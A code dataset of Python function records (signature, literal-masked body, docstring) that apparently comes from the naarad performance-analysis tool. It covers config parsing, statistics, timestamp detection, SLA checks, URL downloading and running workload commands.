run_cmd, call_type, run_order, run_rank, kill_after_seconds=kill_after_seconds)<EOL><DEDENT>else:<EOL><INDENT>logger.error('<STR_LIT>')<EOL>run_step_obj = None<EOL><DEDENT>return run_step_obj<EOL>", "docstring": "Parse a RUN-STEP section in the config to return a Run_Step object\n:param config_obj: ConfigParser objection\n:param section: Section name\n:return: an initialized Run_Step object", "id": "f7878:m12"}
{"signature": "def parse_graph_section(config_obj, section, outdir_default, indir_default):", "body": "graph_timezone = None<EOL>graphing_library = CONSTANTS.DEFAULT_GRAPHING_LIBRARY<EOL>crossplots = []<EOL>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>graphing_library = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>graphs_string = config_obj.get(section, '<STR_LIT>')<EOL>crossplots = graphs_string.split()<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>outdir_default = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>outdir_default = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>indir_default = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>graph_timezone = config_obj.get(section, '<STR_LIT>')<EOL>if graph_timezone not in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>logger.warn('<STR_LIT>' + graph_timezone + '<STR_LIT>')<EOL>graph_timezone = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return graphing_library, crossplots, outdir_default, indir_default, graph_timezone<EOL>", "docstring": "Parse the GRAPH section of the config to extract useful values\n:param config_obj: ConfigParser object\n:param section: Section name\n:param outdir_default: Default output directory passed in args\n:param indir_default: Default input directory passed in args\n:return: List of options extracted from the GRAPH section", "id": "f7878:m13"}
{"signature": "def parse_report_section(config_obj, section):", "body": "report_kwargs = {}<EOL>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>report_kwargs['<STR_LIT>'] = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>return report_kwargs<EOL>", "docstring": "parse the [REPORT] section of a config file to extract various reporting options to be passed to the Report object\n:param: config_obj : configparser object for the config file passed in to naarad\n:param: section: name of the section. 'REPORT' should be passed in here\n:return: report_kwargs: dictionary of Reporting options and values specified in config.", "id": "f7878:m14"}
{"signature": "def calculate_stats(data_list, stats_to_calculate=['<STR_LIT>', '<STR_LIT>'], percentiles_to_calculate=[]):", "body": "stats_to_numpy_method_map = {<EOL>'<STR_LIT>': numpy.mean,<EOL>'<STR_LIT>': numpy.mean,<EOL>'<STR_LIT>': numpy.std,<EOL>'<STR_LIT>': numpy.std,<EOL>'<STR_LIT>': numpy.median,<EOL>'<STR_LIT>': numpy.amin,<EOL>'<STR_LIT>': numpy.amax<EOL>}<EOL>calculated_stats = {}<EOL>calculated_percentiles = {}<EOL>if len(data_list) == <NUM_LIT:0>:<EOL><INDENT>return calculated_stats, calculated_percentiles<EOL><DEDENT>for stat in stats_to_calculate:<EOL><INDENT>if stat in stats_to_numpy_method_map.keys():<EOL><INDENT>calculated_stats[stat] = stats_to_numpy_method_map[stat](data_list)<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\" + str(stat))<EOL><DEDENT><DEDENT>for percentile in percentiles_to_calculate:<EOL><INDENT>if isinstance(percentile, float) or isinstance(percentile, int):<EOL><INDENT>calculated_percentiles[percentile] = numpy.percentile(data_list, percentile)<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\" + str(percentile))<EOL><DEDENT><DEDENT>return calculated_stats, calculated_percentiles<EOL>", "docstring": "Calculate statistics for given data.\n\n:param list data_list: List of floats\n:param list stats_to_calculate: List of strings with statistics to calculate. Supported stats are defined in constant stats_to_numpy_method_map\n:param list percentiles_to_calculate: List of floats that defined which percentiles to calculate.\n:return: tuple of dictionaries containing calculated statistics and percentiles", "id": "f7878:m30"}
{"signature": "def is_valid_file(filename):", "body": "if os.path.exists(filename):<EOL><INDENT>if not os.path.getsize(filename):<EOL><INDENT>logger.warning('<STR_LIT>', filename)<EOL>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', filename)<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if the specifed file exists and is not empty\n\n:param filename: full path to the file that needs to be checked\n:return: Status, Message", "id": "f7878:m31"}
{"signature": "def detect_timestamp_format(timestamp):", "body": "time_formats = {<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>'),<EOL>'<STR_LIT>': re.compile(r'<STR_LIT>')<EOL>}<EOL>for time_format in time_formats:<EOL><INDENT>if re.match(time_formats[time_format], timestamp):<EOL><INDENT>return time_format<EOL><DEDENT><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Given an input timestamp string, determine what format is it likely in.\n\n:param string timestamp: the timestamp string for which we need to determine format\n:return: best guess timestamp format", "id": "f7878:m32"}
{"signature": "def get_standardized_timestamp(timestamp, ts_format):", "body": "if not timestamp:<EOL><INDENT>return None<EOL><DEDENT>if timestamp == '<STR_LIT>':<EOL><INDENT>timestamp = str(datetime.datetime.now())<EOL><DEDENT>if not ts_format:<EOL><INDENT>ts_format = detect_timestamp_format(timestamp)<EOL><DEDENT>try:<EOL><INDENT>if ts_format == '<STR_LIT>':<EOL><INDENT>logger.error('<STR_LIT>', timestamp)<EOL>return -<NUM_LIT:1><EOL><DEDENT>elif ts_format == '<STR_LIT>':<EOL><INDENT>ts = int(timestamp) * <NUM_LIT:1000><EOL><DEDENT>elif ts_format == '<STR_LIT>':<EOL><INDENT>ts = timestamp<EOL><DEDENT>elif ts_format == '<STR_LIT>':<EOL><INDENT>ts = int(timestamp[:<NUM_LIT:10>]) * <NUM_LIT:1000> + int(timestamp[<NUM_LIT:11>:])<EOL><DEDENT>elif ts_format in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>date_today = str(datetime.date.today())<EOL>dt_obj = datetime.datetime.strptime(date_today + '<STR_LIT:U+0020>' + timestamp, '<STR_LIT>' + ts_format)<EOL>ts = calendar.timegm(dt_obj.utctimetuple()) * <NUM_LIT:1000> + dt_obj.microsecond / <NUM_LIT:1000><EOL><DEDENT>else:<EOL><INDENT>dt_obj = datetime.datetime.strptime(timestamp, ts_format)<EOL>ts = calendar.timegm(dt_obj.utctimetuple()) * <NUM_LIT:1000> + dt_obj.microsecond / <NUM_LIT:1000><EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>return str(ts)<EOL>", "docstring": "Given a timestamp string, return a time stamp in the epoch ms format. If no date is present in\ntimestamp then today's date will be added as a prefix before conversion to epoch ms", "id": "f7878:m33"}
{"signature": "def set_sla(obj, metric, sub_metric, rules):", "body": "if not hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return False<EOL><DEDENT>rules_list = rules.split()<EOL>for rule in rules_list:<EOL><INDENT>if '<STR_LIT:<>' in rule:<EOL><INDENT>stat, threshold = rule.split('<STR_LIT:<>')<EOL>sla = SLA(metric, sub_metric, stat, threshold, '<STR_LIT>')<EOL><DEDENT>elif '<STR_LIT:>>' in rule:<EOL><INDENT>stat, threshold = rule.split('<STR_LIT:>>')<EOL>sla = SLA(metric, sub_metric, stat, threshold, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>obj.logger.error('<STR_LIT>' + rule)<EOL><DEDENT>sla = None<EOL><DEDENT>obj.sla_map[metric][sub_metric][stat] = sla<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>obj.sla_list.append(sla)  <EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Extract SLAs from a set of rules", "id": "f7878:m34"}
{"signature": "def check_slas(metric):", "body": "if not hasattr(metric, '<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>for metric_label in metric.sla_map.keys():<EOL><INDENT>for sub_metric in metric.sla_map[metric_label].keys():<EOL><INDENT>for stat_name in metric.sla_map[metric_label][sub_metric].keys():<EOL><INDENT>sla = metric.sla_map[metric_label][sub_metric][stat_name]<EOL>if stat_name[<NUM_LIT:0>] == '<STR_LIT:p>' and hasattr(metric, '<STR_LIT>'):<EOL><INDENT>if sub_metric in metric.calculated_percentiles.keys():<EOL><INDENT>percentile_num = int(stat_name[<NUM_LIT:1>:])<EOL>if isinstance(percentile_num, float) or isinstance(percentile_num, int):<EOL><INDENT>if percentile_num in metric.calculated_percentiles[sub_metric].keys():<EOL><INDENT>if not sla.check_sla_passed(metric.calculated_percentiles[sub_metric][percentile_num]):<EOL><INDENT>logger.info(\"<STR_LIT>\" + sub_metric)<EOL>metric.status = CONSTANTS.SLA_FAILED<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if sub_metric in metric.calculated_stats.keys() and hasattr(metric, '<STR_LIT>'):<EOL><INDENT>if stat_name in metric.calculated_stats[sub_metric].keys():<EOL><INDENT>if not sla.check_sla_passed(metric.calculated_stats[sub_metric][stat_name]):<EOL><INDENT>logger.info(\"<STR_LIT>\" + sub_metric)<EOL>metric.status = CONSTANTS.SLA_FAILED<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if len(metric.sla_map.keys()) > <NUM_LIT:0> and hasattr(metric, '<STR_LIT>'):<EOL><INDENT>sla_csv_file = metric.get_sla_csv()<EOL>with open(sla_csv_file, '<STR_LIT:w>') as FH:<EOL><INDENT>for metric_label in metric.sla_map.keys():<EOL><INDENT>for sub_metric in metric.sla_map[metric_label].keys():<EOL><INDENT>for stat, sla in metric.sla_map[metric_label][sub_metric].items():<EOL><INDENT>FH.write('<STR_LIT>' % (sla.get_csv_repr()))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Check if all SLAs pass\n:return: 0 (if all SLAs pass) or the number of SLAs failures", "id": "f7878:m35"}
{"signature": "def init_logging(logger, log_file, log_level):", "body": "with open(log_file, '<STR_LIT:w>'):<EOL><INDENT>pass<EOL><DEDENT>numeric_level = getattr(logging, log_level.upper(), None) if log_level else logging.INFO<EOL>if not isinstance(numeric_level, int):<EOL><INDENT>raise ValueError('<STR_LIT>' % log_level)<EOL><DEDENT>logger.setLevel(logging.DEBUG)<EOL>fh = logging.FileHandler(log_file)<EOL>fh.setLevel(logging.DEBUG)<EOL>ch = logging.StreamHandler()<EOL>ch.setLevel(numeric_level)<EOL>formatter = logging.Formatter('<STR_LIT>')<EOL>fh.setFormatter(formatter)<EOL>ch.setFormatter(formatter)<EOL>logger.addHandler(fh)<EOL>logger.addHandler(ch)<EOL>return CONSTANTS.OK<EOL>", "docstring": "Initialize the naarad logger.\n:param: logger: logger object to initialize\n:param: log_file: log file name\n:param: log_level: log level (debug, info, warn, error)", "id": "f7878:m37"}
{"signature": "def get_argument_parser():", "body": "arg_parser = argparse.ArgumentParser()<EOL>arg_parser.add_argument('<STR_LIT:-c>', '<STR_LIT>', help=\"<STR_LIT>\")<EOL>arg_parser.add_argument('<STR_LIT>', help=\"<STR_LIT>\")<EOL>arg_parser.add_argument('<STR_LIT>', help=\"<STR_LIT>\")<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\")<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\")<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>', action=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\")<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>', nargs=<NUM_LIT:2>,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\", metavar=(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>arg_parser.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>return arg_parser<EOL>", "docstring": "Initialize list of valid arguments accepted by Naarad CLI\n:return: arg_parser: argeparse.ArgumentParser object initialized with naarad CLI parameters", "id": "f7878:m38"}
{"signature": "def get_variables(args):", "body": "variables_dict = {}<EOL>if args.variables:<EOL><INDENT>for var in args.variables:<EOL><INDENT>words = var.split('<STR_LIT:=>')<EOL>variables_dict[words[<NUM_LIT:0>]] = words[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return variables_dict<EOL>", "docstring": "Return a dictionary of variables specified at CLI\n:param: args: Command Line Arguments namespace", "id": "f7878:m39"}
{"signature": "def validate_arguments(args):", "body": "if args.diff:<EOL><INDENT>if not args.output_dir:<EOL><INDENT>logger.error('<STR_LIT>')<EOL>print_usage()<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>elif not args.output_dir:<EOL><INDENT>print_usage()<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Validate that the necessary argument for normal or diff analysis are specified.\n:param: args: Command line arguments namespace", "id": "f7878:m40"}
{"signature": "def print_usage():", "body": "print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Print naarad CLI usage message", "id": "f7878:m41"}
{"signature": "def discover_by_name(input_directory, output_directory):", "body": "metric_list = []<EOL>log_files = os.listdir(input_directory)<EOL>for log_file in log_files:<EOL><INDENT>if log_file in CONSTANTS.SUPPORTED_FILENAME_MAPPING.keys():<EOL><INDENT>metric_list.append(initialize_metric(CONSTANTS.SUPPORTED_FILENAME_MAPPING[log_file], [log_file], None, [], output_directory, CONSTANTS.RESOURCE_PATH,<EOL>CONSTANTS.SUPPORTED_FILENAME_MAPPING[log_file], None, None, {}, None, None, {}))<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', log_file)<EOL><DEDENT><DEDENT>return metric_list<EOL>", "docstring": "Auto discover metric types from the files that exist in input_directory and return a list of metrics\n:param: input_directory: The location to scan for log files\n:param: output_directory: The location for the report", "id": "f7878:m42"}
{"signature": "def initialize_metric(section, infile_list, hostname, aggr_metrics, output_directory, resource_path, label, ts_start, ts_end, rule_strings,<EOL>important_sub_metrics, anomaly_detection_metrics, other_options):", "body": "metric = None<EOL>metric_type = section.split('<STR_LIT:->')[<NUM_LIT:0>]<EOL>if metric_type in metric_classes:<EOL><INDENT>if '<STR_LIT>' in metric_type:<EOL><INDENT>metric = metric_classes['<STR_LIT>'](section, infile_list, hostname, aggr_metrics, output_directory, resource_path, label, ts_start, ts_end,<EOL>rule_strings, important_sub_metrics, anomaly_detection_metrics, **other_options)<EOL><DEDENT>else:<EOL><INDENT>metric = metric_classes[metric_type](section, infile_list, hostname, aggr_metrics, output_directory, resource_path, label, ts_start, ts_end,<EOL>rule_strings, important_sub_metrics, anomaly_detection_metrics, **other_options)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>metric = Metric(section, infile_list, hostname, aggr_metrics, output_directory, resource_path, label, ts_start, ts_end, rule_strings,<EOL>important_sub_metrics, anomaly_detection_metrics, **other_options)<EOL><DEDENT>return metric<EOL>", "docstring": "Initialize appropriate metric based on type of metric.\n:param: section: config section name or auto discovered metric type\n:param: infile_list: list of input log files for the metric\n:param: hostname: hostname associated with the logs origin\n:param: output_directory: report location\n:param: resource_path: resource path for report\n:param: label: label for config section or auto discovered metric type\n:param: ts_start: start time for analysis\n:param: ts_end: end time for analysis\n:param: rule_strings: list of slas\n:param: important_sub_metrics: list of important sub metrics\n:param: anomaly_detection_metrics: list of metrics to use for anomaly detection.\n:param: other_options: kwargs\n:return: metric object", "id": "f7878:m43"}
{"signature": "def initialize_aggregate_metric(section, aggr_hosts, aggr_metrics, metrics, outdir_default, resource_path, label, ts_start, ts_end, rule_strings,<EOL>important_sub_metrics, anomaly_detection_metrics, other_options):", "body": "metric = None<EOL>metric_type = section.split('<STR_LIT:->')[<NUM_LIT:0>]<EOL>metric = aggregate_metric_classes[metric_type](section, aggr_hosts, aggr_metrics, metrics, outdir_default, resource_path, label, ts_start, ts_end,<EOL>rule_strings, important_sub_metrics, anomaly_detection_metrics, **other_options)<EOL>return metric<EOL>", "docstring": "Initialize aggregate metric\n:param: section: config section name\n:param: aggr_hosts: list of hostnames to aggregate\n:param: aggr_metrics: list of metrics to aggregate\n:param: metrics: list of metric objects associated with the current naarad analysis\n:param: outdir_default: report location\n:param: resource_path: resource path for report\n:param: label: label for config section\n:param: ts_start: start time for analysis\n:param: ts_end: end time for analysis\n:param: rule_strings: list of slas\n:param: important_sub_metrics: list of important sub metrics\n:param: other_options: kwargs\n:return: metric object", "id": "f7878:m44"}
{"signature": "def handle_single_url(url, outdir, outfile=None):", "body": "if not url or type(url) != stror not outdir or type(outdir) != str:<EOL><INDENT>logger.error('<STR_LIT>' % (url, outdir))<EOL>return<EOL><DEDENT>if not naarad.utils.is_valid_url(url):<EOL><INDENT>logger.error(\"<STR_LIT>\" % url)<EOL>return<EOL><DEDENT>if not outfile:<EOL><INDENT>segs = url.split('<STR_LIT:/>')<EOL>outfile = segs[-<NUM_LIT:1>]<EOL>outfile = urllib2.quote(outfile)<EOL><DEDENT>output_file = os.path.join(outdir, outfile)<EOL>if os.path.exists(output_file):<EOL><INDENT>logger.warn(\"<STR_LIT>\" % outfile)<EOL><DEDENT>with open(output_file, \"<STR_LIT:w>\") as fh:<EOL><INDENT>try:<EOL><INDENT>response = urllib2.urlopen(url)<EOL>fh.write(response.read())<EOL><DEDENT>except urllib2.HTTPError:<EOL><INDENT>logger.error(\"<STR_LIT>\" % url)<EOL>return<EOL><DEDENT>except urllib2.URLError:<EOL><INDENT>logger.error(\"<STR_LIT>\" % url)<EOL>return<EOL><DEDENT><DEDENT>return output_file<EOL>", "docstring": "Base function which takes a single url, download it to outdir/outfile\n:param str url: a full/absolute url, e.g. http://www.cnn.com/log.zip\n:param str outdir: the absolute local directory. e.g. /home/user1/tmp/\n:param str outfile: (optional) filename stored in local directory. If outfile is not given, extract the filename from url\n:return: the local full path name of downloaded url", "id": "f7880:m0"}
{"signature": "def stream_url(url):", "body": "try:<EOL><INDENT>response = urllib2.urlopen(url)<EOL>response_content = response.read()<EOL>return response_content<EOL><DEDENT>except (urllib2.URLError, urllib2.HTTPError) as e:<EOL><INDENT>logger.error('<STR_LIT>', url)<EOL>return False<EOL><DEDENT>", "docstring": "Read response of specified url into memory and return to caller. No persistence to disk.\n:return: response content if accessing the URL succeeds, False otherwise", "id": "f7880:m1"}
{"signature": "def get_urls_from_seed(url):", "body": "if not url or type(url) != str or not naarad.utils.is_valid_url(url):<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>base_index = url.find('<STR_LIT:/>', len(\"<STR_LIT>\"))   <EOL>base_url = url[:base_index]      <EOL>urls = []<EOL>try:<EOL><INDENT>response = urllib2.urlopen(url)<EOL>hp = HTMLLinkExtractor()<EOL>hp.feed(response.read())<EOL>urls = hp.links<EOL>hp.close()<EOL><DEDENT>except urllib2.HTTPError:<EOL><INDENT>logger.error(\"<STR_LIT>\" % url)<EOL>return urls<EOL><DEDENT>for i in range(len(urls)):<EOL><INDENT>if not urls[i].startswith(\"<STR_LIT>\") and not urls[i].startswith(\"<STR_LIT>\"):    <EOL><INDENT>urls[i] = base_url + urls[i]<EOL><DEDENT><DEDENT>return urls<EOL>", "docstring": "get a list of urls from a seeding url, return a list of urls\n\n:param str url: a full/absolute url, e.g. http://www.cnn.com/logs/\n:return: a list of full/absolute urls.", "id": "f7880:m2"}
{"signature": "def download_url_single(inputs, outdir, outfile=None):", "body": "if not inputs or type(inputs) != str or not outdir or type(outdir) != str:<EOL><INDENT>logging.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>else:<EOL><INDENT>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT><DEDENT>output_file = handle_single_url(inputs, outdir, outfile)<EOL>return output_file<EOL>", "docstring": "Downloads a http(s) url to a local file\n:param str inputs:  the absolute url\n:param str outdir: Required. the local directory to put the downloadedfiles.\n:param str outfile: // Optional. If this is given, the downloaded url will be renated to outfile;\n  If this is not given, then the local file will be the original one, as given in url.\n:return: the local full path name of downloaded url", "id": "f7880:m3"}
{"signature": "def download_url_regex(inputs, outdir, regex=\"<STR_LIT>\"):", "body": "if not inputs or type(inputs) != stror not outdir or type(outdir) != str:<EOL><INDENT>logging.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>else:<EOL><INDENT>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT><DEDENT>output_files = []<EOL>files = get_urls_from_seed(inputs)<EOL>for f in files:<EOL><INDENT>if re.compile(regex).match(f):<EOL><INDENT>output_file = handle_single_url(f, outdir)<EOL>output_files.append(output_file)<EOL><DEDENT><DEDENT>return output_files<EOL>", "docstring": "Downloads http(s) urls to a local files\n:param str inputs: Required, the seed url\n:param str outdir: Required. the local directory to put the downloadedfiles.\n:param str regex: Optional, a regex string. If not given, then all urls will be valid\n:return: A list of local full path names (downloaded from inputs)", "id": "f7880:m4"}
{"signature": "def download_url_list(url_list, outdir):", "body": "for url in url_list:<EOL><INDENT>download_url_single(url, outdir)<EOL><DEDENT>", "docstring": "Downloads list of http(s) urls to local files\n:param list url_list: list of URLs to download\n:param str outdir: Required. the local directory to put the downloadedfiles.\n  If this is not given, then the local file will be the original one, as given in url.\n:return None", "id": "f7880:m5"}
{"signature": "def run(self):", "body": "cmd_args = shlex.split(self.run_cmd)<EOL>logger.info('<STR_LIT>', self.run_rank)<EOL>logger.info('<STR_LIT>' + str(cmd_args))<EOL>self.ts_start = time.strftime(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>self.process = subprocess.Popen(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, bufsize=<NUM_LIT:1>)<EOL>if self.kill_after_seconds:<EOL><INDENT>self.timer = Timer(self.kill_after_seconds, self.kill)<EOL>self.timer.start()<EOL><DEDENT>for line in iter(self.process.stdout.readline, b'<STR_LIT>'):<EOL><INDENT>logger.info(line.strip())<EOL><DEDENT>self.process.communicate()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>logger.warning('<STR_LIT>')<EOL>self.kill()<EOL><DEDENT>if self.timer:<EOL><INDENT>self.timer.cancel()<EOL><DEDENT>self.ts_end = time.strftime(\"<STR_LIT>\")<EOL>logger.info('<STR_LIT>')<EOL>logger.info('<STR_LIT>' + self.ts_start + '<STR_LIT>' + self.ts_end)<EOL>", "docstring": "Run the command, infer time period to be used in metric analysis phase.\n:return: None", "id": "f7881:c0:m1"}
{"signature": "def kill(self):", "body": "try:<EOL><INDENT>logger.info('<STR_LIT>')<EOL>self.process.terminate()<EOL>time_waited_seconds = <NUM_LIT:0><EOL>while self.process.poll() is None and time_waited_seconds < CONSTANTS.SECONDS_TO_KILL_AFTER_SIGTERM:<EOL><INDENT>time.sleep(<NUM_LIT:0.5>)<EOL>time_waited_seconds += <NUM_LIT:0.5><EOL><DEDENT>if self.process.poll() is None:<EOL><INDENT>self.process.kill()<EOL>logger.warning('<STR_LIT>', CONSTANTS.SECONDS_TO_KILL_AFTER_SIGTERM)<EOL><DEDENT><DEDENT>except OSError as e:<EOL><INDENT>logger.error('<STR_LIT>', e)<EOL><DEDENT>", "docstring": "If run_step needs to be killed, this method will be called\n:return: None", "id": "f7881:c0:m2"}
{"signature": "def __init__(self, run_type, run_cmd, call_type, run_order, run_rank, should_wait=True, kill_after_seconds=None):", "body": "self.run_type = run_type<EOL>self.run_cmd = run_cmd<EOL>self.call_type = call_type<EOL>self.run_order = run_order<EOL>self.run_rank = run_rank<EOL>self.should_wait = should_wait<EOL>self.kill_after_seconds = kill_after_seconds<EOL>self.timer = None<EOL>", "docstring": "Init method\n:param run_type: Type of run_step: \"workload\" only for now\n:param run_cmd: Details of command to be run. It could be a command or API call\n:param call_type: Kind of call -- local or remote\n:param run_order: When to run this w.r.t analysis. One of ('pre', 'in', 'post')\n:param run_rank: In what order to run this\n:param should_wait: Boolean whether naarad should wait for the run command to finish or not before moving on\n:param kill_after_seconds: Seconds for which the command should be run before being killed\n:return: None", "id": "f7882:c0:m0"}
{"signature": "def get_dir():", "body": "return pkg_resources.resource_filename('<STR_LIT>', None)<EOL>", "docstring": "Return the location of resources for report", "id": "f7883:m0"}
{"signature": "def load_config(filename=None, section_option_dict={}):", "body": "config = ConfigParser()<EOL>config.read(filename)<EOL>working_dict = _prepare_working_dict(config, section_option_dict)<EOL>tmp_dict = {}<EOL>for section, options in working_dict.iteritems():<EOL><INDENT>tmp_dict[section] = {}<EOL>for option in options:<EOL><INDENT>tmp_dict[section][option] = config.get(section, option)<EOL><DEDENT><DEDENT>return Bunch(tmp_dict)<EOL>", "docstring": "This function returns a Bunch object from the stated config file.\n\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nNOTE:\n    The values are not evaluated by default.\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\nfilename:\n    The desired config file to read.\n    The config file must be written in a syntax readable to the\n    ConfigParser module -> INI syntax\n\n    [sectionA]\n    optionA1 = ...\n    optionA2 = ...\n\nsection_option_dict:\n    A dictionary that contains keys, which are associated to the sections\n    in the config file, and values, which are a list of the desired\n    options.\n    If empty, everything will be loaded.\n    If the lists are empty, everything from the sections will be loaded.\n\nExample:\n    dict = {'sectionA': ['optionA1', 'optionA2', ...],\n            'sectionB': ['optionB1', 'optionB2', ...]}\n\n    config = get_config('config.cfg', dict)\n    config.sectionA.optionA1\n\nOther:\n    Bunch can be found in configparser.py", "id": "f7886:m3"}
{"signature": "def __init__(self):", "body": "HTMLParser.__init__(self)<EOL>self.reset()<EOL>self.fed = []<EOL>", "docstring": "Set initial values.", "id": "f7888:c0:m0"}
{"signature": "def handle_data(self, d):", "body": "self.fed.append(d)<EOL>", "docstring": "Return representation of pure text data.", "id": "f7888:c0:m1"}
{"signature": "def handle_starttag(self, tag, attrs):", "body": "if tag in self.mathml_elements:<EOL><INDENT>final_attr = \"<STR_LIT>\"<EOL>for key, value in attrs:<EOL><INDENT>final_attr += '<STR_LIT>'.format(key, value)<EOL><DEDENT>self.fed.append(\"<STR_LIT>\".format(tag, final_attr))<EOL><DEDENT>", "docstring": "Return representation of html start tag and attributes.", "id": "f7888:c0:m2"}
